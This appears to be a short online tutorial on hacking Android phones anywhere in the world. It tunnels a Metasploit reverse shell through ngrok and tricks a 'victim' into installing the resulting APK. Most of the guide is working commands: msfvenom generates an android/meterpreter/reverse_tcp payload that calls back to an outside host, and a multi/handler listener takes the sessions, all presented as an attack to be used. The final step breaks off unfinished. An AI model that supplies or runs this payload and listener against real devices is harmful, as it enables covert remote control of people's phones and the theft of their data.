How to Hack an android device over WAN??

Android phones are very easy to break into if the victim can be Social Engineered into doing so. If you use Kali, you may have done this but probably in your own network. This guide shows you how to do so but over HTTP tunneling to a phone anywhere in the world.

         

Step 1: Load Up Your Kali Shell

Load up your Kali Linux Shell

Step 2: Download NGROK TCP Tunneling

It can be found here: https://ngrok.com/download. Download the correct architecture for your device.
(This can be found by running 'uname -m')
Then unzip the file with:

unzip "/path-to-ngrok.zip"

Step 3: Sign Up

The sign-up page can be found here: https://ngrok.com/signup. Then run the command to activate your AuthToken

Step 4: Start an NGROK TCP Server and POSTGRESQL

We can do this with the following command

sudo service postgresql start
./ngrok tcp 4444

This will start a TCP server on port 4444  

Step 5: Make an MSF Payload

First of all, we need to ping the IP of the NGROK TCP site with the following command

ping 0.tcp.ngrok.io

Next, we have to generate a Metasploit APK Payload with the following command

msfvenom -p android/meterpreter/reverse_tcp LHOST=<ngrok ip> LPORT=<port displayed in ngrok> R
> (name of file).apk

Example: msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.183.149 LPORT= 8198 R > nullbyte.apk

Step 6: Start a Listener

Once the Payload is generated we can start a listener. There should be an apk file ready for you to send now.
We can start a listener with this command:

msfconsole

 

Step 7: Configure the Listener

To start the payload listener, we must now enter these commands:

msf > use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit

Step 8: Send the Payload

Now we must send the payload to the target, I have transferred the file to my android for these purposes
We need to wait for the victim to install the file.

 

Step 9: ATTACK!

Now we have access to the android device. Type:

sessions
sessions 1

We can now do many different attacks on the android phone, type

Happy Hacking!
